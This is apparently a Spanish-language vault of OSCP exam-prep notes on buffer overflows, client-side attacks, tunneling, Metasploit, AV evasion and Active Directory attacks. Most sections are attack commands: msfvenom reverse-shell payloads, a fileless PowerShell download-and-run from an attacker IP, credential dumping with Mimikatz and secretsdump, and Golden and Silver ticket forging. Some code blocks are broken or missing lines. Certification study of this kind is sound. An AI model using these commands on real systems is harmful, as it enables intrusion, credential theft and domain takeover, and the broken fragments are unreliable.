Potato family (SeImpersonate) → ver Potato attacks.


## Compilar
```bash
gcc exploit.c -o exploit                              # Linux
x86_64-w64-mingw32-gcc evil.c -shared -o evil.dll     # DLL Windows (cross-compile)
i686-w64-mingw32-gcc evil.c -o evil.exe               # EXE 32-bit
```
Para shellcode listo: msfvenom `-f exe` / `-f dll`.

> ⚠ Hay PoCs falsos/maliciosos. Lee el código antes de ejecutar (searchsploit).

Relacionado: Privesc Windows · Privesc Linux · OSCP MOC


conocimiento/08 - Avanzado/Buffer Overflow.md

# Buffer Overflow (stack, 32-bit)

> El clásico stack BOF de Windows. En el OSCP actual pesa menos (el examen va más a AD), pero sigue cayendo. Metodología de 7 pasos. Fuente: oscp.trastero.org/b0f.
> Herramientas: **Immunity Debugger + mona.py**, `msf-pattern_create/offset`, `msfvenom`, `nc`.


## Los 7 pasos
```
[ prefix ] + [ "A"*offset ] + [ JMP ESP ] + [ NOPs ] + [ shellcode ]
```


### 1. Fuzzing — encontrar el crash
Script Python que envía buffers crecientes (+100 bytes) hasta que la app casca.


### 2. Offset — posición exacta del EIP
```bash
msf-pattern_create -l 3000                 # mándalo como buffer
msf-pattern_offset -l 3000 -q 39694438     # el valor que quedó en EIP


# alternativa en mona:
!mona findmsp -distance 3000               # te da "EIP contains normal pattern ... offset XXXX"
```


### 3. Controlar EIP — confirmar
Envía `"A"*offset + "BBBB"` → en el debugger **EIP = 42424242**. Control confirmado.


### 4. Badchars — bytes que corrompen
```
!mona bytearray -b "\x00"        # genera \x01..\xff


# envías offset + "BBBB" + bytearray, y comparas en memoria (ESP):
!mona compare -f C:\mona\app\bytearray.bin -a <ESP>
```
Quita los corruptos (típico: `\x00`, a veces `\x0a \x0d`) y repite hasta "unmodified".


### 5. JMP ESP — la dirección de retorno
```
!mona jmp -r esp -cpb "\x00\x0a\x0d"     # busca un JMP ESP sin badchars


# alternativa: objdump -d vuln.exe | grep -i 'jmp.*esp'
```
Apunta la dirección **en little-endian** (ej. `0x625011AF` → `\xAF\x11\x50\x62`).


### 6. Shellcode con msfvenom
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 EXITFUNC=thread \
  -b "\x00\x0a\x0d" -f py -v shellcode


### 7. Exploit final
```
buffer = prefix + b"A"*offset + jmp_esp + b"\x90"*16 + shellcode
```
Levanta `nc -lvnp 443` (Reverse shell) y lanza. NOP sled (`\x90`*16) da margen al decoder.

Relacionado: Metasploit · Reverse shell · Exploits conocidos · OSCP MOC


conocimiento/08 - Avanzado/Client-side attacks.md

# Client-side attacks

> Atacas a un **usuario** (que abre un documento/enlace), no a un servicio. Fuente: oscp.trastero.org/clientside.


## Macro de Word (VBA)
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f hta-psh -o evil.hta   # → msfvenom
python3 split.py     # parte el payload codificado en trozos de 50 chars para el VBA
```
- VBA con `Sub AutoOpen()` y `Sub Document_Open()` que reconstruye y ejecuta el PowerShell.
- **Guardar como "Documento de Word 97-2003" (.doc)** para que conserve la macro.
- Verificar: `olevba evil.doc`.


## Acceso directo malicioso (.url / .lnk)
```ini
[InternetShortcut]
URL=file://TU_IP
IconFile=\\TU_IP\SERVER\%USERNAME%.icon
IconIndex=1
```
- El `IconFile` con ruta **UNC** fuerza al cliente a autenticar contra tu SMB → **capturas su hash NetNTLMv2**.
```bash
impacket-smbserver -smb2support SERVER $(pwd)   # o Responder → Herramientas (índice)
```
- El hash capturado → Cracking de contraseñas (`hashcat -m 5600`) o relay.

Relacionado: AV evasion · Cracking de contraseñas · Authentication attacks · OSCP MOC


# Tunneling y port forwarding

> Reenviar puertos y montar proxies para alcanzar redes internas. Alternativas a Pivoting ligolo-ng. Fuente: oscp.trastero.org/tunneling.


## SSH (el más portable)
```bash
ssh -L 8080:127.0.0.1:80 user@pivot       # LOCAL: tu :8080 → servicio interno
ssh -R 3390:127.0.0.1:3389 user@kali      # REMOTE: expone el RDP del pivot en tu :3390
ssh -D 1080 user@pivot                     # DYNAMIC: proxy SOCKS en tu :1080


# luego: proxychains <herramienta>  (configura socks en /etc/proxychains4.conf)
```


## socat (redirección simple)
```bash
socat TCP-LISTEN:8080,fork TCP:192.168.5.10:80
```


## Plink (SSH desde Windows)
```cmd
plink.exe -R 3390:127.0.0.1:3389 user@TU_IP
```


## sshuttle (VPN improvisada, lo más cómodo)
```bash
sshuttle -r user@pivot 192.168.5.0/24 --dns
```


## Windows nativo — netsh portproxy
```cmd
netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.5.10 connectport=80
```


## proxychains
- `proxychains nmap -sT -Pn IP` → usa `-sT` (TCP connect): el SYN scan **no** pasa por el proxy. Ver Nmap NSE.

Relacionado: Pivoting ligolo-ng · Movimiento lateral · Puesto de mando Kali · OSCP MOC


# Metasploit

> ⚠ **En el examen: solo en UNA máquina, y solo el foothold inicial cuenta como "uso"** (la post-explotación con meterpreter no cuenta). Ver Reglas de herramientas. Fuente: oscp.trastero.org/metasploit.


## Básico
```
msfconsole -q
search <servicio/cve>
use exploit/...
show options ; set RHOSTS IP ; set LHOST TU_IP ; run
```


## multi/handler (recibir un payload de msfvenom)
```
use exploit/multi/handler
set payload windows/shell_reverse_tcp     # o windows/meterpreter/reverse_tcp
set LHOST TU_IP ; set LPORT 443 ; run
```


## Meterpreter (post-explotación)
```
getuid          # quién soy
getsystem       # intento de privesc a SYSTEM
hashdump        # vuelca hashes SAM  → Cracking de contraseñas / Pass-the-Hash
ps ; migrate 799   # migrar a otro proceso
background ; sessions -i 1
```


# Ctrl+Z para mandar la shell a background, luego:
use post/multi/manage/shell_to_meterpreter
set SESSION 1 ; run
sessions -i 2
```


## Pivoting con Metasploit
```
use post/multi/manage/autoroute
set SESSION 1 ; set SUBNET 192.168.5.0 ; run
use auxiliary/server/socks_proxy ; run    # + proxychains → Tunneling
portfwd add -l 3389 -p 3389 -r 192.168.5.10
```

Relacionado: Buffer Overflow · Reverse shell · Reglas de herramientas · OSCP MOC


conocimiento/08 - Avanzado/AV evasion.md

# AV evasion

> Cuando hay antivirus y tu payload muere al tocar disco. Fuente: oscp.trastero.org/avevasion.


## PowerShell en memoria (no toca disco)
```powershell
IEX (New-Object Net.WebClient).DownloadString('http://TU_IP/rev.ps1')   # fileless
powershell -ExecutionPolicy Bypass -File evasion.ps1
powershell -encodedCommand JABjAG8AZABl...    # comando en base64 (UTF-16LE)
```


## Generar y ofuscar
```bash
msfvenom -p windows/shell_reverse_tcp LHOST=TU_IP LPORT=443 -f powershell -o sc.ps1   # → msfvenom
python3 ps_encoder.py -s evasion.ps1        # darkoperator/Invoke-Obfuscation
./chimera.sh -f evasion.ps1 -l 1,2,3 -o out.ps1   # Chimera: ofusca strings/variables
```


## Inyección directa (P/Invoke)
Script PS que reserva memoria con **VirtualAlloc**, copia el shellcode y lanza **CreateThread** → ejecuta sin escribir un .exe al disco (evade el escaneo on-write).


## Otras tools
- **Shellter** (inyecta en un .exe legítimo), **Veil**, **Nim/C# loaders**.
- **UPX** para empaquetar y cambiar la firma: `upx -9 rev.exe`.

> Nota OSCP: la evasión de AV está permitida (no es un escáner de vulns prohibido → Reglas de herramientas); rara vez hace falta en el examen, pero alguna máquina la pide.

Relacionado: Client-side attacks · msfvenom · Reverse shell · OSCP MOC


conocimiento/05 - Active Directory/BloodHound.md

# BloodHound

> Dibuja Active Directory **como un grafo**: nodos = usuarios/grupos/máquinas, aristas = relaciones. Le preguntas "¿camino más corto de juan a Domain Admins?" y te lo pinta. La única tool con GUI propia.


## Componentes
```
SharpHound (.exe en víctima)  o  bloodhound-python (en Kali)  →  JSON
JSON  →  BloodHound GUI (en Kali)  +  Neo4j (la BD del grafo)
```


## Instalación (Debian)
```bash
sudo apt install -y bloodhound bloodhound.py neo4j
sudo systemctl start neo4j
sudo neo4j-admin set-initial-password 'BloodHound1!'
```


# 1) recolectar desde Kali (necesitas creds válidas)
bloodhound-python -u juan -p 'Password1' -d corp.local -ns 10.10.10.10 -c All


# 2) lanzar GUI y arrastrar los .json
bloodhound      # login neo4j / BloodHound1!
```


## Queries que importan
- **Find Shortest Paths to Domain Admins**
- **Find Kerberoastable Accounts** → Kerberoasting
- **Find AS-REP Roastable Users** → AS-REP Roasting
- Aristas peligrosas (`GenericAll`, `WriteDACL`, `ForceChangePassword`) → ACL abuses

Relacionado: Mimikatz · Movimiento lateral · OSCP MOC


conocimiento/05 - Active Directory/Mimikatz.md

# Mimikatz

> Un **.exe que corre DENTRO de la víctima Windows** (no en Kali). Lee la memoria de **LSASS** y vuelca credenciales. En `tu carpeta`.


## Subir y ejecutar
```powershell
iwr http://TU_IP/mimikatz/x64/mimikatz.exe -OutFile C:\Windows\Temp\m.exe   # Transferencia de ficheros
C:\Windows\Temp\m.exe
```


## Comandos clave (dentro de mimikatz)
```
privilege::debug                         # imprescindible primero
sekurlsa::logonpasswords                 # hashes NTLM, tickets, a veces pass en claro (wdigest)
lsadump::sam                             # SAM local
lsadump::dcsync /user:Administrator      # DCSync (si tienes permisos de replicación)
```


## Requisito
Necesitas ser **admin/SYSTEM** en la máquina (Privesc Windows / Potato attacks).


## Después
- Hash NTLM → Pass-the-Hash / Impacket → Movimiento lateral.
- Pregúntale a BloodHound qué hacer con ese usuario.

Relacionado: Kerberos · secretsdump · OSCP MOC


conocimiento/05 - Active Directory/Movimiento lateral.md

# Movimiento lateral

> Saltar de una máquina a otra con credenciales/hashes obtenidos. Paso 5-6 de la cadena de Active Directory.


## Con qué saltas
```bash
impacket-psexec  dominio/user:pass@10.10.10.20      # shell SYSTEM
impacket-wmiexec dominio/user:pass@10.10.10.20      # sin tocar disco
impacket-psexec  -hashes :NTLMHASH user@10.10.10.20 # Pass-the-Hash
nxc smb 10.10.10.0/24 -u user -p pass               # ¿dónde valen estas creds?
xfreerdp /u:user /p:pass /v:10.10.10.20             # RDP si hay GUI
evil-winrm -i 10.10.10.20 -u user -p pass           # WinRM (5985)
```


## Regla clave
**Reutiliza credenciales**: cada pass/hash que pillas → pruébalo contra **todos** los hosts y servicios (Metodología OSCP).


## Decidir a dónde
- BloodHound te dice qué usuario es admin dónde y el camino a Domain Admin.
- Si llegas al DC → secretsdump / DCSync → Golden Ticket.
- Red interna no enrutable → Pivoting ligolo-ng.

Relacionado: Impacket · Mimikatz · OSCP MOC


conocimiento/05 - Active Directory/AS-REP Roasting.md

# AS-REP Roasting

> Usuarios con **"Do not require Kerberos pre-authentication"** → pides su AS-REP y crackeas el hash, **sin necesitar credenciales**. Camino de Active Directory.


# con lista de usuarios (sesión nula / enum previa con SMB):
impacket-GetNPUsers dominio/ -usersfile users.txt -no-pass -dc-ip IP


# con credenciales (enumera y pide a la vez):
impacket-GetNPUsers dominio/usuario:password -request -dc-ip IP
```


## Diferencia con Kerberoasting
- **AS-REP** = usuarios SIN pre-auth → **no necesitas password** para pedir el hash.
- **Kerberoasting** = cuentas de servicio (SPN) → necesitas una credencial válida.

Relacionado: Cracking de contraseñas · Kerberoasting · Kerberos · Impacket · OSCP MOC


conocimiento/05 - Active Directory/Pass-the-Hash.md

# Pass-the-Hash

> Te autenticas con el **hash NTLM** sin conocer la contraseña en claro. La base del Movimiento lateral en AD.


## De dónde sale el hash
- Mimikatz `sekurlsa::logonpasswords`
- secretsdump (SAM/NTDS)
- `lsadump::sam`


## Uso
```bash
impacket-psexec  -hashes :NTLMHASH 'admin@10.10.10.20'   # → SYSTEM
impacket-wmiexec -hashes :NTLMHASH 'admin@10.10.10.20'
nxc smb 10.10.10.0/24 -u admin -H NTLMHASH               # spray del hash por la red
```


## Combos
- **Reutilización**: prueba el hash/usuario contra **todos** los hosts (Metodología OSCP).
- Password spraying: la misma pass de un user normal contra `administrator`, `sa`...
- Hash de krbtgt → ya no es PtH, es Golden Ticket.

Relacionado: Impacket · Movimiento lateral · OSCP MOC


conocimiento/05 - Active Directory/Pivoting ligolo-ng.md

# Pivoting (ligolo-ng)

> Entrar en una **red interna** no enrutable desde Kali, a través de una máquina comprometida. En `tu carpeta`.


## El concepto
```
KALI 10.10.10.5 ── túnel ──> USER1 10.10.10.50 ── llega a ──> 192.168.5.0/24 (DC interno)
```
- **proxy** corre en Kali, **agent** en la víctima.
- Añades una ruta y las tools tiran por el túnel **transparentemente**.


# Kali (proxy):
sudo ip tuntap add user $USER mode tun ligolo && sudo ip link set ligolo up
./proxy -selfcert


# En la consola de ligolo: session → start ; luego en Kali:
sudo ip route add 192.168.5.0/24 dev ligolo
```


## Resultado
```bash
impacket-psexec admin@192.168.5.10   # el tráfico va por el túnel, transparente
```
Ahora Movimiento lateral y Active Directory funcionan contra la red interna.

Relacionado: Puesto de mando Kali · OSCP MOC


conocimiento/05 - Active Directory/Kerberoasting.md

# Kerberoasting

> Pides el **TGS** de cuentas de servicio (las que tienen **SPN**) y crackeas su hash offline. Uno de los 7 caminos de Active Directory.


## Ataque
```bash
impacket-GetUserSPNs dominio/usuario:password -dc-ip IP -request


## Por qué funciona
El TGS va cifrado con el hash de la cuenta de servicio (Kerberos). Si su password es débil → crackeo → credencial nueva → Movimiento lateral.

Relacionado: Cracking de contraseñas · AS-REP Roasting · Impacket · BloodHound · OSCP MOC


conocimiento/05 - Active Directory/GPP cpassword.md

# GPP cpassword

> Group Policy Preferences que guardaban contraseñas cifradas con una **clave AES pública y fija** (Microsoft la publicó). Trivial de descifrar. Uno de los 7 caminos de Active Directory.


## Dónde buscar
```
\\DC\SYSVOL\<dominio>\Policies\...\Groups.xml
```
Busca el atributo `cpassword` en `Groups.xml` (también en `Services.xml`, `ScheduledTasks.xml`, `Datasources.xml`).


## Descifrar
```bash
gpp-decrypt 'CPASSWORD_AQUI'
```
- Accedes a SYSVOL vía SMB (a menudo con sesión nula o cualquier user de dominio).


## Resultado
Credenciales en claro → Movimiento lateral / Pass-the-Hash.

Relacionado: SMB · OSCP MOC


conocimiento/05 - Active Directory/Golden Ticket.md

# Golden Ticket

> Con el hash de **krbtgt** forjas tu propio TGT → eres **cualquiera** (incluso un Domain Admin inexistente), para siempre. Cima de Active Directory.


## Requisito
Hash NTLM de la cuenta **krbtgt** → se obtiene con DCSync o secretsdump sobre el DC.


## Forjar
```bash
impacket-ticketer -nthash KRBTGT_HASH -domain-sid S-1-5-21-... -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@dc.corp.local
```
```


# mimikatz equivalente:
kerberos::golden /user:Administrator /domain:corp.local /sid:S-... /krbtgt:HASH /ptt
```


## Concepto
krbtgt firma **todos** los TGT (Kerberos). Si controlas su hash, firmas tickets válidos a voluntad → persistencia total.

Relacionado: Silver Ticket · DCSync · Pass-the-Hash · OSCP MOC


conocimiento/05 - Active Directory/Silver Ticket.md

# Silver Ticket

> Forjas un **TGS** para **un servicio concreto** usando el hash NTLM de **esa cuenta de servicio** (no del krbtgt). Más sigiloso que el Golden Ticket: **no habla con el DC**. Fuente: oscp.trastero.org/activedirectory.


## Golden vs Silver
```
Golden Ticket → hash de krbtgt → TGT → CUALQUIER servicio del dominio (todopoderoso)
Silver Ticket → hash del servicio (ej. cuenta del SQL/CIFS) → TGS → SOLO ese servicio
```
El Silver no toca el KDC → casi indetectable, pero limitado al servicio.


## Forjar
```bash
impacket-ticketer -nthash <HASH_SERVICIO> -domain-sid S-1-5-21-... \
  -domain corp.local -spn cifs/server.corp.local Administrator
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass corp.local/Administrator@server.corp.local
```
- El hash del servicio sale de Mimikatz / secretsdump (la cuenta de máquina o de servicio).
- `-spn` define a qué servicio aplica (`cifs/`, `mssql/`, `http/`, `host/`...).

Relacionado: Golden Ticket · Kerberos · Pass-the-Hash · OSCP MOC


conocimiento/05 - Active Directory/Active Directory.md

# Active Directory (índice)

> El **set de AD = 40 puntos** del examen (3 máquinas encadenadas). Ver Estructura del examen.
> Idea clave: tu Kali no tiene GUI central; cada tool (Impacket, Mimikatz, BloodHound) habla por red con la víctima. Ver Puesto de mando Kali.


## La cadena de ataque típica
```
1) RCE en web → Reverse shell en USER1
2) PEASS-ng → privesc → SYSTEM en USER1   (Privesc Windows / Potato attacks)
3) Mimikatz → hash NTLM de un usuario de dominio
4) BloodHound → ¿camino a Domain Admin?
5) Pass-the-Hash / Impacket → shell en SERVER2  (Movimiento lateral)
6) si SERVER2 = DC → secretsdump → toda la BD del dominio
7) hash de krbtgt → Golden Ticket → dios
```


## Los 7 caminos que SIEMPRE pruebas
1. **Anonymous SMB** → SMB (`smbclient -L //IP -N`, `nxc smb IP -u "" -p ""`)
2. **AS-REP Roasting** → AS-REP Roasting
3. **Kerberoasting** → Kerberoasting
4. **GPP cpassword** → GPP cpassword
5. **LAPS** → LAPS
6. **ACL abuses** → ACL abuses (te los pinta BloodHound)
7. **DCSync** → DCSync


## Conceptos
- Kerberos (TGT/TGS) · Pass-the-Hash · Golden Ticket · Silver Ticket
- Crackear los tickets → Cracking de contraseñas
- Entrar a la red interna → Pivoting ligolo-ng / Tunneling


## Herramientas
NetExec/CrackMapExec, BloodHound, Rubeus, Kerbrute, Responder, Evil-WinRM, Impacket → Herramientas (índice).

Relacionado: OSCP MOC


conocimiento/05 - Active Directory/ACL abuses.md

# ACL abuses

> Permisos mal configurados sobre objetos de AD que te dejan escalar. **BloodHound te los pinta** como aristas. Camino de Active Directory.


## Las aristas peligrosas
```
GenericAll          → control total sobre el objeto
WriteDACL           → te das a ti mismo cualquier permiso
AddMember           → te metes en un grupo (ej. Domain Admins)
ForceChangePassword → cambias la pass de otro usuario sin saber la actual
GenericWrite        → modificar atributos (ej. añadir SPN → Kerberoasting dirigido)
```


# ForceChangePassword:
net rpc password "victima" "NuevaPass123!" -U "dominio/yo%mipass" -S DC_IP


# AddMember a un grupo:
bloodyAD -d corp.local -u yo -p pass --host DC add groupMember "Domain Admins" yo
```


## Encadenado
Una arista lleva a otra → BloodHound calcula el **camino** hasta Domain Admins → puede acabar en DCSync.

Relacionado: BloodHound · LAPS · OSCP MOC


conocimiento/05 - Active Directory/LAPS.md

# LAPS

> Local Administrator Password Solution: rota la pass del admin local y la guarda en un atributo del objeto-equipo en AD. Si tu usuario **puede leer ese atributo**, tienes el admin local. Camino de Active Directory.


# o:
nxc ldap IP -u usuario -p password -M laps
```
- El atributo es `ms-Mcs-AdmPwd` (LAPS v1).


## Cómo saber quién puede leerlo
BloodHound muestra `ReadLAPSPassword` como arista → relacionado con ACL abuses.


## Resultado
Password de admin local de esa máquina → Movimiento lateral / RDP.

Relacionado: BloodHound · OSCP MOC


conocimiento/05 - Active Directory/Impacket.md

# Impacket

> Suite **Python que corre en TU Kali**. Habla los protocolos de Windows (SMB, RPC, Kerberos) sin ser Windows. Es como tener un "Windows hablante" en Kali.


## Los más útiles
```
impacket-psexec        → shell en la víctima si tienes creds (estilo PsExec)
impacket-wmiexec       → ejecutar comandos sin tocar disco
impacket-smbexec       → otra ejecución remota
impacket-secretsdump   → vuelca NTDS.dit y SAM de un DC en remoto → secretsdump
impacket-GetUserSPNs   → Kerberoasting
impacket-GetNPUsers    → AS-REP Roasting
impacket-getTGT        → pide/forja un TGT con cred conocida
impacket-getST         → pide un service ticket
impacket-smbserver     → share SMB falso para exfiltrar a Kali (Transferencia de ficheros)
impacket-ntlmrelayx    → relay NTLM
impacket-ticketer      → forja tickets → Golden Ticket
```


## Lateral con hash (sin reverse shell nueva)
```bash
impacket-psexec -hashes :NTLMHASH 'admin@10.10.10.20'
```
Shell SYSTEM en otra máquina, autenticado y limpio → Pass-the-Hash, Movimiento lateral.

Relacionado: Mimikatz · Active Directory · OSCP MOC


conocimiento/05 - Active Directory/Kerberos.md

# Kerberos

> El protocolo de autenticación de Active Directory. Entender TGT vs TGS desbloquea media AD.


## En 30 segundos
```
Usuario --(¿pwd?)--> KDC (Domain Controller)
Usuario <--(TGT: "carnet maestro")-- KDC
Usuario --(TGT + "quiero \\fileSrv")--> KDC
Usuario <--(TGS: ticket para fileSrv)-- KDC
Usuario --(TGS)--> fileServer  "este ticket prueba que soy yo"
```


## Conceptos
- **TGT** = carnet maestro del KDC. Lo guarda el cliente.
- **TGS** = ticket de un servicio concreto.
- **krbtgt** = la cuenta que **firma TODOS los TGT**.


## Por qué importa (los ataques)
- Reutilizar un TGT/TGS válido = **pass-the-ticket**.
- Pedir TGS de cuentas con SPN sin tenerlas = Kerberoasting.
- Usuarios sin pre-auth = AS-REP Roasting.
- Hash de **krbtgt** = forjar Golden Ticket (ser cualquiera, para siempre).

Relacionado: Impacket · Mimikatz · OSCP MOC


conocimiento/05 - Active Directory/secretsdump.md

# secretsdump (NTDS.dit / SAM)

> `impacket-secretsdump` vuelca **todos los hashes** del dominio (NTDS.dit) o de una máquina (SAM/SYSTEM), en remoto o desde ficheros. Parte de Impacket.


## Remoto contra un DC
```bash
impacket-secretsdump dominio/usuario:password@DC_IP
impacket-secretsdump -hashes :NTLMHASH dominio/admin@DC_IP   # con Pass-the-Hash
```
Saca NTLM de **todos** los usuarios + el hash de **krbtgt** → Golden Ticket.


# exfiltras ntds.dit + SYSTEM con Transferencia de ficheros, luego:
impacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL
```


## SAM local de una máquina
```bash
impacket-secretsdump -sam SAM -system SYSTEM LOCAL
```


## Cómo se obtienen permisos
- Ser admin del DC, o derechos de replicación → DCSync.

Relacionado: Mimikatz · Active Directory · OSCP MOC


conocimiento/05 - Active Directory/DCSync.md

# DCSync

> Con permisos de **replicación de directorio** (DS-Replication-Get-Changes), pides al DC que te "replique" los hashes **como si fueras otro DC**. No necesitas pisar el DC.


## Cómo se llega
- Un usuario con esos derechos (te lo dice BloodHound: arista `DCSync` / `GetChangesAll`).
- O un ACL abuses que te conceda esos derechos.


## Ataque
```bash
impacket-secretsdump dominio/usuario:password@DC_IP   # → ver secretsdump
```
```


# o desde mimikatz en una máquina del dominio:
lsadump::dcsync /user:Administrator
lsadump::dcsync /user:krbtgt        # ← el premio gordo
```


## Por qué importa
El hash de **krbtgt** → Golden Ticket = control total y persistente del dominio.

Relacionado: Mimikatz · Impacket · Active Directory · OSCP MOC


conocimiento/07 - Referencia/Recursos públicos.md

# Recursos públicos

> Dónde está SÍ todo esto (cultura pública, nada bajo NDA). Apoyo para Metodología OSCP y el Reporte OSCP.

| Recurso | Por qué importa |
|---|---|
| **TJ Null's OSCP-like list** (Reddit) | Máquinas HTB/THM equivalentes a OSCP, actualizada |
| **ippsec.rocks** | Buscador de writeups por técnica ("kerberoasting" → te lista las máquinas) |
| **0xdf.gitlab.io** | Writeups detalladísimos y pedagógicos |
| **PayloadsAllTheThings** | Cheatsheet de todo lo web (SQL injection, LFI a RCE, uploads) |
| **HackTricks** (book.hacktricks.xyz) | La biblia: lo busques lo que busques, está |
| **GTFOBins / LOLBAS** | Privesc Linux y LOLBins Windows → GTFOBins y LOLBAS |
| **/r/oscp** | Experiencias de examinados (sin spoilers) |
| **Discords públicos**: HTB, TryHackMe, NetSecFocus | Comunidades que SÍ puedes consultar |
| **noraj/OSCP-Exam-Report-Template-Markdown** | Plantilla del Reporte OSCP |

> Compilado de cultura pública (TJ Null, ippsec, 0xdf, Heath Adams, /r/oscp, HackTricks, foros HTB). **No** es material bajo NDA de OffSec.

Relacionado: un laboratorio · OSCP MOC


conocimiento/07 - Referencia/Herramientas (índice).md

# Herramientas (índice)

> Arsenal de referencia. Fuente: oscp.trastero.org/tools + el resto del vault.


## En Kali (corren en tu atacante)
| Tool | Para qué | Nota |
|---|---|---|
| Impacket | suite de protocolos Windows | Impacket |
| NetExec / CrackMapExec | barrido y post-explotación AD | SMB, Pass-the-Hash |
| BloodHound | grafo de AD | BloodHound |
| Responder | envenena LLMNR/NBT-NS/MDNS → captura hashes | Client-side attacks |
| Evil-WinRM | shell WinRM (5985) | Movimiento lateral |
| ligolo-ng / chisel | pivoting/túnel | Pivoting ligolo-ng, Tunneling |
| Kerbrute | enum de usuarios + spraying Kerberos | AS-REP Roasting |
| Rubeus | operaciones con tickets Kerberos | Kerberoasting, Silver Ticket |
| hashcat / john | cracking offline | Cracking de contraseñas |


## Las que SUBES a la víctima Windows
| Tool | Para qué | Nota |
|---|---|---|
| winPEAS | enumeración de privesc | PEASS-ng |
| PowerUp / PrivescCheck / Sherlock | privesc PowerShell | Privesc Windows |
| mimikatz | volcar credenciales de LSASS | Mimikatz |
| SysInternals (accesschk, PsExec) | permisos, ejecución | Privesc Windows |
| Nishang | PowerShell ofensivo (shells) | Reverse shell |
| Potato (God/Print/Juicy) | abuso de token → SYSTEM | Potato attacks |


## En la víctima Linux
| Tool | Para qué | Nota |
|---|---|---|
| linPEAS / LinEnum / LES / lse | enumeración de privesc | Privesc Linux |
| pspy | espía procesos/cron sin root | Privesc Linux |

Relacionado: searchsploit · Recursos públicos · OSCP MOC


conocimiento/00 - Metodologia/Reglas de herramientas.md

# Reglas de herramientas (examen)

> Qué puedes y qué no puedes usar en el examen OSCP.


## ✅ Permitido
- Nmap + NSE, `enum4linux`, `smbclient`, `rpcclient`, NetExec/CrackMapExec (SMB).
- Mimikatz, Impacket, BloodHound, Pivoting ligolo-ng.
- `nikto`, `whatweb`, searchsploit, `hydra`, gobuster/feroxbuster/ffuf (Content discovery).
- Burp Suite Community (proxy manual; el scanner activo está prohibido, pero no lo necesitas).
- **Tus propios scripts** (copy-paste permitido).


## ⛔ Prohibido
- **Metasploit / Meterpreter → solo en UNA máquina.**
  - Solo el **foothold inicial** cuenta como "uso"; post-explotación con meterpreter NO cuenta.
- Explotación automática: `sqlmap` en modo auto, autopwn.
- Escáneres de vulnerabilidades masivos: **Nessus, OpenVAS, Nexpose, Core Impact**.
- IA durante el examen.


## Nota práctica
Nessus se aprende para el **trabajo real** (es estándar), pero en el examen se replica a mano:
```
nmap -sV  →  searchsploit  →  nmap --script vuln / nikto
```

Relacionado: Estructura del examen · Metodología OSCP · OSCP MOC


conocimiento/00 - Metodologia/Gestión del tiempo.md

# Gestión del tiempo

> 24h ≠ 24h. **Duermes 6h. Comes. Te duchas.** El cerebro fresco resuelve; el cansado entra en rabbit-holes.


## Reglas
- **1.5h sin progreso = cambia de máquina.** Cierra, vuelve más tarde con cabeza fresca.
- Empieza por el **set de AD** (40 pts) con tiempo → ver Estructura del examen.
- Saca **todos los `user`** antes de pelear un root concreto.
- Vigila el Egress filtering pronto: descubrir tarde que un puerto está bloqueado cuesta horas.


## Documentación en vivo
- Captura **TODO** mientras lo haces (Flameshot/Greenshot), **no al final** — al final no recuerdas el comando exacto.
- Cada flag con hostname visible. Ver Reporte OSCP.


## Anti rabbit-hole
- Enumeración exhaustiva primero, luego un vector a la vez → Trampas de enumeración.
- Si un vector "tiene que funcionar" y llevas 1h, probablemente es un señuelo.

Relacionado: Metodología OSCP · OSCP MOC


conocimiento/00 - Metodologia/Estructura del examen.md

# Estructura del examen

> 24h de máquinas + 24h para el Reporte OSCP. 70/100 puntos para aprobar.


## Composición
- **Set de Active Directory = 40 puntos seguidos.**
  - 3 máquinas **encadenadas**. Si te atascas en la máquina 1, no avanzas a 2 y 3.
  - **Empieza por aquí con tiempo.** Es todo-o-nada por cadena.
  - Ver Active Directory para el flujo completo.
- **3 standalones independientes**, 20 pts cada una.
  - `user` (10 pt = `local.txt`) + `root/system` (10 pt = `proof.txt`).
  - **Saca el `user` de las 3 ANTES** de obsesionarte con el root de una.


## Pruebas (flags)
- `local.txt` = prueba de usuario.
- `proof.txt` = prueba de root/SYSTEM.
- Cada flag con el **hostname visible** (`ipconfig` / `ifconfig`) en la captura.


## Anti-pánico
- Ver Gestión del tiempo y Trampas de enumeración.
- Sin Reporte OSCP **no apruebas**, aunque saques 100 puntos técnicos.

Relacionado: Metodología OSCP · Reglas de herramientas · OSCP MOC


conocimiento/00 - Metodologia/Metodología OSCP.md

# Metodología OSCP

> El truco real del OSCP no es saber 200 técnicas, es tener una **metodología repetible**.
> La gente suspende por **saltarse pasos** o por **obsesionarse con un vector**, no por desconocimiento técnico.


## El bucle
```
Enumeración exhaustiva → vector → foothold →
PrivEsc con script automatizado + revisión manual →
documentar antes de pasar a la siguiente máquina
```


## Pasos
1. **Enumera a fondo** → Enumeración (no asumas nada, mira Puertos olvidados).
2. **Encuentra el vector** → web (Enumeración web, SQL injection, LFI a RCE, File upload bypass) o servicio.
3. **Foothold** → Reverse shell estabilizada (Estabilizar shell TTY).
4. **Privesc** → script automatizado (PEASS-ng) **+** revisión manual (Privesc Linux / Privesc Windows).
5. **Loot y pivot** → Mimikatz, Movimiento lateral, Active Directory.
6. **Documenta EN VIVO** → Reporte OSCP.


## Reglas de oro
- **Reutiliza credenciales** siempre: una pass de un user suele valer en otros hosts y servicios.
- **1.5h sin progreso = cambia de máquina** (ver Gestión del tiempo).
- Captura todo mientras lo haces, no al final.

Relacionado: Estructura del examen · Reglas de herramientas · OSCP MOC


conocimiento/00 - Metodologia/Reporte OSCP.md

# Reporte OSCP

> **Sin reporte no apruebas**, aunque saques 100 puntos técnicos. Se entrega hasta 24h después del examen.


## Qué necesitas capturar EN VIVO
- Cada comando exacto (no lo recordarás al final).
- Cada flag con el **hostname visible** en la misma captura (`ipconfig`/`ifconfig`).
- `local.txt` (user) y `proof.txt` (root/SYSTEM) de cada máquina.
- Pasos reproducibles: alguien debe poder repetir tu intrusión leyendo el reporte.


## Plantilla
- Markdown: `noraj/OSCP-Exam-Report-Template-Markdown`
  → https://github.com/noraj/OSCP-Exam-Report-Template-Markdown


## Flujo recomendado
1. Documenta **antes** de pasar a la siguiente máquina (Metodología OSCP).
2. Una carpeta por host con capturas + comandos.
3. Al acabar, montas el reporte sobre esas notas.

Relacionado: Estructura del examen · Gestión del tiempo · Recursos públicos · OSCP MOC


